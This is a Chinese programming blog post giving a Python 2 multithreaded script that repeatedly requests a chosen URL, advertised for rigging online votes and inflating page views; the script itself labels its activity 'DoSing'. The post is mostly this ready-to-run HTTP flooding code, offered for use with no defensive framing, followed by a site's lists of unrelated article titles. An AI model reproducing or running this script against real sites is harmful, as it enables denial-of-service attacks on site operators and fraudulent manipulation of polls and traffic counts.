python使用多线程不断刷新网页的方法


Posted in Python onMarch 31, 2015

本文实例讲述了python使用多线程不断刷新网页的方法。分享给大家供大家参考。具体如下:

这段代码可以开通过个线程不断刷新指定的页面,可用于刷票,增加网页访问量等等,不用再去按F5了

import thread
import urllib2
import sys
import time
def usage():
  print 'Usage: python ' + sys.argv[0] + ' <url> <threads>'
  sys.exit()
def reloader(numthread):
  url = sys.argv[1]
  numreloads = 0
  while True:
    try:
      urllib2.urlopen(url)
      numreloads = numreloads + 1
    except KeyboardInterrupt:
      sys.exit('\nProcess aborted.')
def splash():
  print 'welcome to https://3water.com/codes '
if len(sys.argv) < 3:
  usage()
if __name__ == '__main__':
  splash()
  print '[!] DoSing ' + sys.argv[1] + ' with ' + sys.argv[2] + ' threads.'
  for reloadspawn in range(0, int(sys.argv[2])):
    thread.start_new_thread(reloader, (reloadspawn,))
  sys.stdout.write('')
  dosind = ['-', '\\', '|', '/']
  dosstat = 0
  while True:
    try:
      sys.stdout.write('\r' + dosind[dosstat % 4] + ' DoSing...')
      sys.stdout.flush()
      dosstat = dosstat + 1
      time.sleep(0.25)
    except KeyboardInterrupt:
      sys.exit('\nProcess aborted.')

希望本文所述对大家的Python程序设计有所帮助。

Python 相关文章推荐
python求解水仙花数的方法
May 11 Python
python实现解数独程序代码
Apr 12 Python
python测试mysql写入性能完整实例
Jan 18 Python
Python实现的读写json文件功能示例
Jun 05 Python
Python Dataframe 指定多列去重、求差集的方法
Jul 10 Python
对python 自定义协议的方法详解
Feb 13 Python
django之自定义软删除Model的方法
Aug 14 Python
利用Python实现kNN算法的代码
Aug 16 Python
Django实现文件上传下载功能
Oct 06 Python
python单例设计模式实现解析
Jan 07 Python
Tensorflow tf.dynamic_partition矩阵拆分示例(Python3)
Feb 07 Python
秀!学妹看见都惊呆的Python小招数!【详细语言特性使用技巧】
Apr 27 Python
Python新手实现2048小游戏
Mar 31 #Python
举例介绍Python中的25个隐藏特性
Mar 30 #Python
在Python的循环体中使用else语句的方法
Mar 30 #Python
python实现2048小游戏
Mar 30 #Python
利用一个简单的例子窥探CPython内核的运行机制
Mar 30 #Python
30分钟搭建Python的Flask框架并在上面编写第一个应用
Mar 30 #Python
编写同时兼容Python2.x与Python3.x版本的代码的几个示例
Mar 30 #Python
You might like
PHP实现MVC开发得最简单的方法――模型
2007/04/10 PHP
PHP里的中文变量说明
2011/07/23 PHP
php中判断字符串是否全是中文或含有中文的实现代码
2011/09/16 PHP
ThinkPHP3.1新特性之对分组支持的改进与完善概述
2014/06/19 PHP
PHP利用hash冲突漏洞进行DDoS攻击的方法分析
2015/03/26 PHP
utf8的编码算法 转载
2006/12/27 Javascript
jquery last-child 列表最后一项的样式
2010/01/22 Javascript
无闪烁更新网页内容JS实现
2013/12/19 Javascript
jquery仿百度经验滑动切换浏览效果
2015/04/14 Javascript
javascript消除window.close()的提示窗口
2015/05/20 Javascript
第五篇Bootstrap 排版
2016/06/21 Javascript
类似于QQ的右滑删除效果的实现方法
2016/10/16 Javascript
利用Jquery实现几款漂亮实用的时间轴(附示例代码)
2017/02/15 Javascript
vuex的简单使用教程
2018/02/02 Javascript
vue实现导航标题栏随页面滚动渐隐渐显效果
2020/03/12 Javascript
element-ui点击查看大图的方法示例
2020/12/14 Javascript
python实现的守护进程(Daemon)用法实例
2015/06/02 Python
python UNIX_TIMESTAMP时间处理方法分析
2016/04/18 Python
基于Django的python验证码(实例讲解)
2017/10/23 Python
简述:我为什么选择Python而不是Matlab和R语言
2017/11/14 Python
Python使用pylab库实现绘制直方图功能示例
2018/06/01 Python
python代码区分大小写吗
2020/06/17 Python
python爬虫智能翻页批量下载文件的实例详解
2021/02/02 Python
音乐学个人的自荐书范文
2013/11/26 职场文书
《满井游记》教学反思
2014/02/26 职场文书
合伙经营协议书范本
2014/04/18 职场文书
工地安全生产标语
2014/06/06 职场文书
法人委托书的范本格式
2014/09/11 职场文书
我与祖国共奋进演讲稿
2014/09/13 职场文书
商品陈列协议书
2014/09/29 职场文书
员工评语范文
2014/12/31 职场文书
2015年银行工作总结范文
2015/04/01 职场文书
食堂卫生管理制度
2015/08/04 职场文书
MySQL插入数据与查询数据
2022/03/25 MySQL
Vue+Flask实现图片传输功能
2022/04/01 Vue.js
java高级用法JNA强大的Memory和Pointer
2022/04/19 Java/Android